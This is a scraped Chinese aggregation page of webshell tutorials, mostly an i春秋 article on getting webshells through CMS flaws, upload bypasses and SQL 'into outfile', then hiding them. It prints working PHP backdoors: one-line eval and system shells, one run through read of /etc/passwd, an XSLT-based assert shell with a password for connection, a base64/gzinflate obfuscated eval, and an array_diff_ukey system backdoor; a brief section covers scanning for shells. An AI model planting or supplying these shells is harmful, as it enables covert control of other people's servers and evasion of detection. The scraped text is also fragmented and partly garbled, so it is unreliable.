精华内容
下载资源
问答
  • WebShell

    2013-05-03 11:21:42
    WebShell
  • webshell

    2016-01-11 16:25:38
    webshell

    什么是WS

    webshell就是一个web页面,但是这个页面功能强大。可以做一些管理员不希望你做的事。比如执行系统命令,删除web页面,修改主页等。所以通常是可执行的脚本文件,比如asp,jsp, php等。

    能干啥事

    正常的http访问一个服务器上的cgi文件。上传文件,删除文件,上传目录文件等。

    如何检测

    webshell会完成一些特殊的功能。所以就会用到一些特殊的函数。用恶意字符串匹配检测的静态检测。或者IDS中加入请求响应的动态特征。

    如何实现

    • 利用web上传业务直接上传webshell,有时也会返回上传的路径。
    • 利用网站代码缺陷,比如SQL注入等,植入webshell脚本。用命令来往指定的目录写入文件。

    如何扫描

    展开全文
  • Webshell

    千次阅读 2019-08-25 20:14:31
    webshell webshell简介: webshell,顾名思义:web指的是在web服务器上,而shell是用脚本语言编写的脚本程序,webshell就是web的一个管理工具,可以对web服务器进行操作的权限,也叫webadmin。webshell一般是被网站...

    webshell

    webshell简介:

    • webshell,顾名思义:web指的是在web服务器上,而shell是用脚本语言编写的脚本程序,webshell就是web的一个管理工具,可以对web服务器进行操作的权限,也叫webadmin。webshell一般是被网站管理员用于网站管理、故武器管理等待一些用途,但是由于webshell的功能比较强大,可以上传下载文件,查看数据库,甚至可以调用一些服务器上系统的相关命令(比如创建用户,修改删除文件之类的),通常被黑客利用,黑客通过一些上传方式,将自己编写的webshell上传到web服务器的页面的目录下,然后通过页面访问的形式进行入侵,或者通过插入一句话连接本地的一些相关工具直接对服务器进行入侵操作。
    • webshell根据脚本可以分为PHP脚本木马,ASP脚本木马,也有基于.NET的脚本木马和JSP脚本木马。在国外,还有用python脚本语言写的动态网页,当然也有与之相关的webshell。
    • 小马:一句话木马也称为小马,即整个shell代码量只有一行,一般时系统执行函数
    • 大马:代码量和功能比小马多,一般会进入二次编码加密,防止被防火墙/入侵系统检测到
    shell2.php	#eveal 使用php函数,例如phpinfo();
    <?php eval($_REQUEST['cmd']);?>
    http://192.168.8.134/dvwa/hackable/uploads/shell2.php?cmd=phpinfo();
    

    在这里插入图片描述

    shell3.php  #systeam使用linux系统命令,例如ls,cp,rm
    <?php system($_REQUEST['yangge']);?>
    http://192.168.8.134/dvwa/hackable/uploads/shell3.php?yangge=cat /etc/passwd
    

    在这里插入图片描述

    • 中国菜刀
    <?php @eval('$-PSOT[chopper']);?>
    说明:requesr是在网页端输入变量访问,POST则是使用想中国菜刀之类的工具连接,是C/S架构。
    

    在这里插入图片描述

    展开全文
  • WEBSHELL

    2016-08-04 19:13:46
    本篇文章将带大家学习如何获取WebShell,如何隐藏WebShell,有攻必有防,最后带大家学习查杀WebShell。 目录 第一节 CMS获取WebShell第二节 非CMS获取WebShell第三节 基于xslt转换的WebShell第四节

    前言
    WebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。本篇文章将带大家学习如何获取WebShell,如何隐藏WebShell,有攻必有防,最后带大家学习查杀WebShell。

    目录



    • 第一节 CMS获取WebShell
    • 第二节 非CMS获取WebShell
    • 第三节 基于xslt转换的WebShell
    • 第四节 代码混淆隐藏WebShell
    • 第五节 防御篇-查杀WebShell



    正文



    • 第一节 CMS获取WebShell


    1.1、什么是CMS?
    CMS是Content Management System的缩写,意为"内容管理系统"。 内容管理系统是企业信息化建设和电子政务的新宠,也是一个相对较新的市场。对于内容管理,业界还没有一个统一的定义,不同的机构有不同的理解。


    1.2、常见的CMS有哪些?
    • asp平台动易CMS、创力CMS、科汛CMS、新云CMS;
    • php平台:phpcms、织梦CMS、帝国CMS、php168 CMS;
    • ASP.NET平台:Zoomla!逐浪CMS、动易CMS、风讯CMS、We7 CMS;

    1.3、CMS获取WebShell方法

    公开漏洞途径:以PHPCMS为例:
    我们可以利用搜索引擎来查找互联网上公开的通用漏洞,如果目标站点并没有进行修复,即可轻松获取WebShell。


    代码审计途径:
    有很多CMS其实是开源的,我们可以在官网下载到源码,然后进行代码审计,自己挖掘漏洞, 来获取WebShell。关于代码审计的教程篇幅太长,这里就不做更多介绍,我会单独写一篇系列文章进行讲解。



    • 第二节 非CMS获取WebShell


    2.1、上传漏洞获取WebShell

    文件上传漏洞主要有以下几种情况:
    • MIME类型绕过漏洞
    • 文件扩展名绕过漏洞
    • 文件内容检测绕过类上传漏洞
    • 空字节截断目录路径检测绕过类上传漏洞  

    解析导致的文件上传漏洞:
    • IIS6.0站上的目录路径检测解析绕过上传漏洞
    • Apache站上的解析缺陷绕过上传漏洞
    • htaccess文件上传解析漏洞  



    还有一些编辑器存在漏洞导致的文件上传,比如FCK编辑器。


    具体请看i春秋学院视频,还可以做实验,链接如下:
    非法文件上传漏洞技术解析及防御

    2.2、SQL注入获取WebShell

    利用SQL注入攻击获取WebShell其实就是在向服务器写文件。(注意:这里我们需要得到网站的绝对路径) 所有常用的关系数据库管理系统(RDBMS)均包含内置的向服务器文件系统写文件的功能。

    MySQL:

    [SQL] 纯文本查看 复制代码
    ?
    1
    select into outfile(dumpfile)  //MySQL写文件命令


    例如:

    [SQL] 纯文本查看 复制代码
    ?
    1
    select "<?php echo 'test'; ?>" into outfile "F:\\www\\test.php" ;




    那么其它关系数据库管理系统同样的原理写文件,就不在过多介绍了。


    2.3、数据库备份获取WebShell

    利用数据库备份获取WebShell,恰好i春秋有相关的实验,我也发过相关的教程,这里就不介绍了,大家去看看吧,第三步就是利用数据库备份拿WebShell。
    2015中国网络安全大赛:越权访问真题

    配套实验地址:(进去后选择越权访问点击START就行了)
    2015中国网络安全大赛


    • 第三节 基于xslt转换的WebShell


    3.1、什么是xslt?

    在了解什么是xslt之前,我们需要先了解什么是xsl,XSL是可扩展样式表语言的外语缩写,是一种用于以可读格式呈现 XML(标准通用标记语言的子集)数据的语言。
    XSL - 不仅仅是样式表语言
    XSL 包括三部分:
    XSLT - 一种用于转换 XML 文档的语言。
    XPath - 一种用于在 XML 文档中导航的语言。
    XSL-FO - 一种用于格式化 XML 文档的语言。

    那么看到这里相信大家已经了解到xslt是xsl的一部分。


    3.2、在PHP下基于xslt转换来隐藏WebShell

    怎么在php下使用xsl呢?我教大家的都是可以自己学习的方法,既然要使用php,我们肯定要去看php的官方手册,我们去搜索xsl


    定位到XSLTProcessor类,可以发现registerPHPFunctions方法,如果你根本不懂这些方法,不要紧,看后面的英文介绍,如果你说你不懂英文,不要紧啊,不有google翻译,拿去翻译一下


    [AppleScript] 纯文本查看 复制代码
    ?
    1
    Enables the ability to use PHP functions as XSLT functions



    我们点进去,可以发现里面有事例,很简单,建议大家去看看啊。PHP手册地址见下面的参考资料

    我们先来看看官方事例:


    [XSLT] 纯文本查看 复制代码
    ?
    01
    02
    03
    04
    05
    06
    07
    08
    09
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    <? xml version = "1.0" encoding = "UTF-8" ?>
    < xsl:stylesheet version = "1.0"
          xmlns:xsl = "http://www.w3.org/1999/XSL/Transform"
          xmlns:php = "http://php.net/xsl" >          //这个命名空间URI表示php专用的xsl函数支持
    < xsl:output method = "html" encoding = "utf-8" indent = "yes" />
      < xsl:template match = "allusers" >
       < html >< body >
         < h2 >Users</ h2 >
         < table >
         < xsl:for-each select = "user" >
           < tr >< td >
             < xsl:value-of
                  select = "php:function('ucfirst',string(uid))" />     //php:function('assert',string(.))表示将匹配节点的文本作为参数传递给php的assert函数。
           </ td ></ tr >
         </ xsl:for-each >
         </ table >
       </ body ></ html >
      </ xsl:template >
    </ xsl:stylesheet >

    那么搞懂了以上这些知识,那就很简单了。

    为了避免xml的转义问题,进行一次assert嵌套,最终WebShell如下:
    [XSLT] 纯文本查看 复制代码
    ?
    01
    02
    03
    04
    05
    06
    07
    08
    09
    10
    11
    12
    13
    14
    15
    <? php
    $xml='<ichunqiu>assert($_POST[zusheng]);</ ichunqiu >';
    $xsl='<? xml version = "1.0" encoding = "UTF-8" ?>
    < xsl:stylesheet version = "1.0" xmlns:xsl = "http://www.w3.org/1999/XSL/Transform" xmlns:icq = "http://php.net/xsl" >
      < xsl:template match = "/ichunqiu" >
         < xsl:value-of select = "icq:function(\'assert\',string(.))" />
      </ xsl:template >
    </ xsl:stylesheet >';
    $xmldoc = DOMDocument::loadXML($xml);
    $xsldoc = DOMDocument::loadXML($xsl);
    $proc = new XSLTProcessor();
    $proc->registerPHPFunctions();
    $proc->importStyleSheet($xsldoc);
    $proc->transformToXML($xmldoc);
    ?>


    可以直接用菜刀连接:( 密码:zusheng




    参考资料:



    • 第四节 代码混淆隐藏WebShell

    代码混淆隐藏WebShell也就是通过编码和压缩恶意代码的方式来隐藏WebShell。

    这里我们使用gzinflate+Base64加密,来隐藏WebShell。

    [PHP] 纯文本查看 复制代码
    ?
    1
    2
    3
    <?php
    eval (gzinflate( base64_decode ( 'Sy1LzNFQiQ/wDw6JVq8qLc5IzUtXj9W0BgA=' )));
    ?>


    可以直接用菜刀连接:( 密码:zusheng


    • 第五节 防御篇-查杀WebShell

    5.1、WebShell的分类


    5.2、安全工具
    D盾:


    下载地址: 免费下载

    360主机卫士:
    提供在线监测,把网站打包成zip上传就行了
    http://zhuji.360.cn/backdoor

    小实验

    学完上述知识,大家是不是想动手来试试了呢,来个小实验。


    我们先新建一个php文件


    文件内容如下:
    [PHP] 纯文本查看 复制代码
    ?
    1
    2
    3
    4
    5
    6
    <?php
    if (isset( $_GET [ "cmd" ]))
    {
    array_diff_ukey (@ array ( $_GET [ 'cmd' ]=>1),@ array ( 'user' =>2), 'system' );
    }
    ?>




    使用gzinflate+Base64加密,来隐藏WebShell。
    使之能正常运行
    展开全文
  • Linux WebShell

    2014-07-30 18:10:25
    WebShell
  • PHP webshell

    2016-07-27 11:42:17
    PHP webshell
  • webshell反弹技术

    2021-01-05 20:38:11
    webshell反弹技术

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 20,477
精华内容 8,190
关键字:

webshell